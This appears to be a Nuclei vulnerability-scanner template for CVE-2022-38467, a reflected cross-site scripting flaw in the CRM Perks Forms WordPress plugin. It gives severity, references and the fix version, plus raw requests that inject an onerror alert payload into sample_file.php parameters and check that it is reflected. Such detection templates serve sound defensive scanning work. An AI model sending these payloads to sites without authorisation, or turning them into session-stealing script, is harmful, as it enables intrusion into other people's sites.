50 lines
2.3 KiB
YAML
50 lines
2.3 KiB
YAML
id: CVE-2022-38467
|
|
|
|
info:
|
|
name: CRM Perks Forms < 1.1.1 - Cross Site Scripting
|
|
author: r3Y3r53
|
|
severity: medium
|
|
description: |
|
|
The plugin does not sanitise and escape some parameters from a sample file before outputting them back in the page, leading to Reflected Cross-Site Scripting
|
|
impact: |
|
|
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
|
|
remediation: Fixed in version 1.1.1
|
|
reference:
|
|
- https://wpscan.com/vulnerability/4b128c9c-366e-46af-9dd2-e3a9624e3a53
|
|
- https://wordpress.org/plugins/crm-perks-forms/
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-38467
|
|
- https://patchstack.com/database/vulnerability/crm-perks-forms/wordpress-crm-perks-forms-plugin-1-1-0-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve
|
|
- https://github.com/ARPSyndicate/cvemon
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2022-38467
|
|
cwe-id: CWE-79
|
|
epss-score: 0.00092
|
|
epss-percentile: 0.37951
|
|
cpe: cpe:2.3:a:crmperks:crm_perks_forms:*:*:*:*:*:wordpress:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 2
|
|
vendor: crmperks
|
|
product: crm_perks_forms
|
|
framework: wordpress
|
|
tags: cve2022,cve,crm-perks-forms,wpscan,wordpress,wp,wp-plugin,xss,crmperks
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET /wp-content/plugins/crm-perks-forms/readme.txt HTTP/1.1
|
|
Host: {{Hostname}}
|
|
- |
|
|
GET /wp-content/plugins/crm-perks-forms/templates/sample_file.php?FirstName=<img%20src%20onerror=alert(document.domain)>&LastName=<img%20src%20onerror=alert(document.domain)>&%20Company=<img%20src%20onerror=alert(document.domain)> HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'status_code_1 == 200'
|
|
- 'contains(content_type_2, "text/html")'
|
|
- 'contains(body_1, "CRM Perks Forms") && contains(body_2, "<img src onerror=alert(document.domain)>")'
|
|
condition: and
|
|
# digest: 490a004630440220729431423049e0675d567b6cbd1d77e01b4e70f542ae8a569d9765cf8dcd344b02205d87faab9dfcd79998b0d0e68c7e91eb95180dd93bf447409ae8c7579e50761b:922c64590222798bb761d5b6d8e72950 |